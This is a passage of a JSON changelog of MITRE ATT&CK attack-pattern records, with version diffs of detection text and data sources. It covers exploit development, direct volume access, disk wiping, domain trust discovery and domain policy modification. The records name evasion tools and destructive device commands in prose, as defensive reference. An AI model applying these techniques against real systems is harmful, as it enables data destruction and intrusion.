of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1587/004", + "external_id": "T1587.004" + }, + { + "source_name": "Irongeek Sims BSides 2017", + "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.", + "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims" + }, + { + "source_name": "NYTStuxnet", + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.967000+00:00\", \"old_value\": \"2025-04-15 22:33:51.026000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0894: Detection of Exploits" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:20.934000+00:00", + "modified": "2025-10-24 17:48:23.015000+00:00", + "name": "Direct Volume Access", + "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1006", + "external_id": "T1006" + }, + { + "source_name": "Github PowerSploit Ninjacopy", + "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.", + "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" + }, + { + "source_name": "Hakobyan 2009", + "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.", + "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin" + }, + { + "source_name": "LOLBAS Esentutl", + "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tom Simpson, CrowdStrike Falcon OverWatch" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Drive: Drive Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.015000+00:00\", \"old_value\": \"2025-04-15 19:58:05.272000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n\\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0016: Drive (Drive Access)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0426: Detection of Direct Volume Access for File System Evasion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 22:02:20.372000+00:00", + "modified": "2025-10-24 17:48:27.697000+00:00", + "name": "Disk Wipe", + "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)\n\nOn network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`.(Citation: erase_cmd_cisco)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1561", + "external_id": "T1561" + }, + { + "source_name": "erase_cmd_cisco", + "description": "Cisco. (2022, August 16). erase - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/D_through_E.html#wp3557227463" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Drive: Drive Access\", \"Command: Command Execution\", \"Drive: Drive Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.697000+00:00\", \"old_value\": \"2025-04-15 19:58:09.974000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Access)", + "DS0016: Drive (Drive Modification)", + "DS0017: Command (Command Execution)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0137: Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 22:06:41.739000+00:00", + "modified": "2025-10-24 17:49:38.983000+00:00", + "name": "Disk Content Wipe", + "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1561/001", + "external_id": "T1561.001" + }, + { + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1092091/download" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Modification\", \"Drive: Drive Access\", \"Driver: Driver Load\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.983000+00:00\", \"old_value\": \"2025-04-15 19:59:23.834000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Access)", + "DS0016: Drive (Drive Modification)", + "DS0017: Command (Command Execution)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0316: Detection Strategy for Disk Content Wipe via Direct Access and Overwrite" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-20 22:10:20.484000+00:00", + "modified": "2025-10-24 17:48:22.482000+00:00", + "name": "Disk Structure Wipe", + "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1561/002", + "external_id": "T1561.002" + }, + { + "source_name": "format_cmd_cisco", + "description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + }, + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "source_name": "Kaspersky StoneDrill 2017", + "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + }, + { + "source_name": "Symantec Shamoon 2012", + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Drive: Drive Modification\", \"Drive: Drive Access\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.482000+00:00\", \"old_value\": \"2025-04-15 19:58:04.838000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\\\\\\\\\.\\\\\\\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1053: Data Backup" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Access)", + "DS0016: Drive (Drive Modification)", + "DS0017: Command (Command Execution)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0297: Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-14 16:15:05.974000+00:00", + "modified": "2025-10-24 17:48:58.061000+00:00", + "name": "Domain Trust Discovery", + "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1482", + "external_id": "T1482" + }, + { + "source_name": "Microsoft Operation Wilysupply", + "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.", + "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/" + }, + { + "source_name": "AdSecurity Forging Trust Tickets", + "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.", + "url": "https://adsecurity.org/?p=1588" + }, + { + "source_name": "Microsoft Trusts", + "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)" + }, + { + "source_name": "Microsoft GetAllTrustRelationships", + "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.", + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships" + }, + { + "source_name": "Harmj0y Domain Trusts", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dave Westgard", + "Elia Florio, Microsoft", + "Mnemonic", + "RedHuntLabs, @redhuntlabs", + "ExtraHop" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Script: Script Execution\", \"Network Traffic: Network Traffic Content\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.061000+00:00\", \"old_value\": \"2025-04-15 22:22:35.004000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0007: Detection of Domain Trust Discovery via API, Script, and CLI Enumeration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-07 14:10:32.650000+00:00", + "modified": "2025-10-24 17:49:33.897000+00:00", + "name": "Domain or Tenant Policy Modification", + "description": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y 